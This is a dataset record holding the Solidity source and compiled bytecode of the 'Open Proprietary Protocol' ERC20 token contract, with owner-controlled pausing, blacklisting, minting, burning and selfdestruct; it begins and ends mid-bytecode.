ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112e157fe5b818303905092915050565b600081830190508281101515156112ff57fe5b809050929150505600a165627a7a723058203b67a8049f0424f978cfe3cf7fafc9bcc0789c51e27c51bb198304a4ae6bffe00029
|
{"success": true, "error": null, "results": {}}
| 4,430 |
0xf51ccb15d3f2d304ae6c409303e8b3a3e397a80b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
pragma solidity ^0.4.26;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
) internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
) internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
) internal
{
require(_token.approve(_spender, _value));
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Open Proprietary Protocol token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom (
address _from,
address _to,
uint256 _value
) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance (
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
) public returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
uint8 constant MAX_BURN = 3;
address[MAX_BURN] public chkBurnerList;
mapping(address => bool) public burners;
//mapping (address => bool) public owners;
address owner;
event AddedBurner(address indexed newBurner);
event ChangeOwner(address indexed newOwner);
event DeletedBurner(address indexed toDeleteBurner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyBurner(){
require(burners[msg.sender]);
_;
}
function changeOwnerShip(address newOwner) public onlyOwner returns(bool) {
require(newOwner != address(0));
owner = newOwner;
emit ChangeOwner(newOwner);
return true;
}
function addBurner(address burner, uint8 num) public onlyOwner returns (bool) {
require(num < MAX_BURN);
require(burner != address(0));
require(chkBurnerList[num] == address(0));
require(burners[burner] == false);
burners[burner] = true;
chkBurnerList[num] = burner;
emit AddedBurner(burner);
return true;
}
function deleteBurner(address burner, uint8 num) public onlyOwner returns (bool){
require(num < MAX_BURN);
require(burner != address(0));
require(chkBurnerList[num] == burner);
burners[burner] = false;
chkBurnerList[num] = address(0);
emit DeletedBurner(burner);
return true;
}
}
contract Blacklist is Ownable {
mapping(address => bool) blacklisted;
event Blacklisted(address indexed blacklist);
event Whitelisted(address indexed whitelist);
modifier whenPermitted(address node) {
require(!blacklisted[node]);
_;
}
function isPermitted(address node) public view returns (bool) {
return !blacklisted[node];
}
function blacklist(address node) public onlyOwner returns (bool) {
require(!blacklisted[node]);
blacklisted[node] = true;
emit Blacklisted(node);
return blacklisted[node];
}
function unblacklist(address node) public onlyOwner returns (bool) {
require(blacklisted[node]);
blacklisted[node] = false;
emit Whitelisted(node);
return blacklisted[node];
}
}
contract Burnlist is Blacklist {
mapping(address => bool) public isburnlist;
event Burnlisted(address indexed burnlist, bool signal);
modifier isBurnlisted(address who) {
require(isburnlist[who]);
_;
}
function addBurnlist(address node) public onlyOwner returns (bool) {
require(!isburnlist[node]);
isburnlist[node] = true;
emit Burnlisted(node, true);
return isburnlist[node];
}
function delBurnlist(address node) public onlyOwner returns (bool) {
require(isburnlist[node]);
isburnlist[node] = false;
emit Burnlisted(node, false);
return isburnlist[node];
}
}
contract PausableToken is StandardToken, Burnlist {
bool public paused = false;
event Paused(address addr);
event Unpaused(address addr);
constructor() public {
}
modifier whenNotPaused() {
require(!paused || owner == msg.sender);
_;
}
function pause() public onlyOwner returns (bool) {
require(!paused);
paused = true;
emit Paused(msg.sender);
return paused;
}
function unpause() public onlyOwner returns (bool) {
require(paused);
paused = false;
emit Unpaused(msg.sender);
return paused;
}
function transfer(address to, uint256 value) public whenNotPaused whenPermitted(msg.sender) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public
whenNotPaused whenPermitted(from) whenPermitted(msg.sender) returns (bool) {
return super.transferFrom(from, to, value);
}
}
/**
* @title Open Proprietary Protocol
*
*/
contract OpenProprietaryProtocol is PausableToken {
event Burn(address indexed burner, uint256 value);
event Mint(address indexed minter, uint256 value);
string public constant name = "Open Proprietary Protocol";
uint8 public constant decimals = 18;
string public constant symbol = "OPP";
uint256 public constant INITIAL_SUPPLY = 3e9 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function destory() public onlyOwner returns (bool) {
selfdestruct(owner);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
require(INITIAL_SUPPLY >= totalSupply_.add(_amount));
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Mint(owner, _amount);
emit Transfer(address(0), owner, _amount);
return true;
}
function burn(address _to,uint256 _value) public onlyBurner isBurnlisted(_to) returns(bool) {
_burn(_to, _value);
return true;
}
function _burn(address _who, uint256 _value) internal returns(bool){
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
return true;
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302be8e4e1461017a57806303d41e0e146101d557806306fdde0314610230578063095ea7b3146102c057806318160ddd146103255780631b9cddcc1461035057806323b872dd146103bd5780632e01161a146104425780632ff2e9dc1461049d578063313ce567146104c85780633b8157ef146104f95780633f4ba83a146105545780633fd8cc4e146105835780635c975abb146105de578063661884631461060d57806369255678146106725780636bdebcc9146106cd57806370a08231146106fc57806375e3661e146107535780638456cb59146107ae57806395d89b41146107dd5780639dc29fac1461086d578063a0712d68146108d2578063a9059cbb14610917578063d73dd6231461097c578063dd62ed3e146109e1578063ec27035014610a58578063f9f92be414610ac0578063fe069fb114610b1b575b600080fd5b34801561018657600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b83565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610caa565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610cca565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028557808201518184015260208101905061026a565b50505050905090810190601f1680156102b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d03565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b5061033a610df5565b6040518082815260200191505060405180910390f35b34801561035c57600080fd5b5061037b60048036038101908080359060200190929190505050610dff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c957600080fd5b50610428600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e34565b604051808215151515815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b604051808215151515815260200191505060405180910390f35b3480156104a957600080fd5b506104b2610f94565b6040518082815260200191505060405180910390f35b3480156104d457600080fd5b506104dd610fa5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561050557600080fd5b5061053a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b34801561056057600080fd5b5061056961115f565b604051808215151515815260200191505060405180910390f35b34801561058f57600080fd5b506105c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b604051808215151515815260200191505060405180910390f35b3480156105ea57600080fd5b506105f36112c2565b604051808215151515815260200191505060405180910390f35b34801561061957600080fd5b50610658600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d5565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611566565b604051808215151515815260200191505060405180910390f35b3480156106d957600080fd5b506106e261171c565b604051808215151515815260200191505060405180910390f35b34801561070857600080fd5b5061073d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b5565b6040518082815260200191505060405180910390f35b34801561075f57600080fd5b50610794600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117fd565b604051808215151515815260200191505060405180910390f35b3480156107ba57600080fd5b506107c36119a2565b604051808215151515815260200191505060405180910390f35b3480156107e957600080fd5b506107f2611aaf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610832578082015181840152602081019050610817565b50505050905090810190601f16801561085f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561087957600080fd5b506108b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ae8565b604051808215151515815260200191505060405180910390f35b3480156108de57600080fd5b506108fd60048036038101908080359060200190929190505050611bb1565b604051808215151515815260200191505060405180910390f35b34801561092357600080fd5b50610962600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e32565b604051808215151515815260200191505060405180910390f35b34801561098857600080fd5b506109c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f15565b604051808215151515815260200191505060405180910390f35b3480156109ed57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612111565b6040518082815260200191505060405180910390f35b348015610a6457600080fd5b50610aa6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050612198565b604051808215151515815260200191505060405180910390f35b348015610acc57600080fd5b50610b01600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061240b565b604051808215151515815260200191505060405180910390f35b348015610b2757600080fd5b50610b69600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291905050506125b1565b604051808215151515815260200191505060405180910390f35b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610be157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167ff285329298fd841af46eb83bbe90d1ebe2951c975a65b19a02f965f842ee69c560405160405180910390a260019050919050565b60066020528060005260406000206000915054906101000a900460ff1681565b6040805190810160405280601981526020017f4f70656e2050726f70726965746172792050726f746f636f6c0000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600381600381101515610e0e57fe5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60009054906101000a900460ff161580610e9f57503373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610eaa57600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f0457600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5e57600080fd5b610f698686866127c5565b925050509392505050565b60096020528060005260406000206000915054906101000a900460ff1681565b601260ff16600a0a63b2d05e000281565b601281565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561100857600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561106057600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fb24e6647db2742a3439d0a374e892f89a5a8f4619d2f5c5ed911d39a2516a47c6000604051808215151515815260200191505060405180910390a2600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156111bd57600080fd5b600a60009054906101000a900460ff1615156111d857600080fd5b6000600a60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600a60009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600a60009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113e6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147a565b6113f98382612b7f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115c457600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561161d57600080fd5b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fb24e6647db2742a3439d0a374e892f89a5a8f4619d2f5c5ed911d39a2516a47c6001604051808215151515815260200191505060405180910390a2600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561177a57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561185b57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156118b357600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faab7954e9d246b167ef88aeddad35209ca2489d95a8aeb59e288d9b19fae5a5460405160405180910390a2600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a0057600080fd5b600a60009054906101000a900460ff16151515611a1c57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1600a60009054906101000a900460ff16905090565b6040805190810160405280600381526020017f4f5050000000000000000000000000000000000000000000000000000000000081525081565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b4257600080fd5b82600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b9b57600080fd5b611ba58484612b98565b50600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c0f57600080fd5b611c2482600154612d5390919063ffffffff16565b601260ff16600a0a63b2d05e000210151515611c3f57600080fd5b611c5482600154612d5390919063ffffffff16565b600181905550611ccd82600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000600a60009054906101000a900460ff161580611e9d57503373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515611ea857600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f0257600080fd5b611f0c8484612d6f565b91505092915050565b6000611fa682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156121f657600080fd5b600360ff168260ff1610151561220b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561224757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660038360ff1660038110151561227157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156122b557600080fd5b60001515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561231457600080fd5b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508260038360ff1660038110151561237f57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167fb2bea1aacb52292e22554458b37393c5c9afbdc4bb5edddf26805d0ad791005a60405160405180910390a26001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561246957600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156124c257600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a2600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561260f57600080fd5b600360ff168260ff1610151561262457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561266057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1660038360ff1660038110151561268957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126cd57600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060038360ff1660038110151561273957fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167f560f25f18d7de8bf147a02a300cdcfd8c47e2ca258b2ead7d9e331f29ee488d960405160405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561280257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561284f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156128da57600080fd5b61292b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129be826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054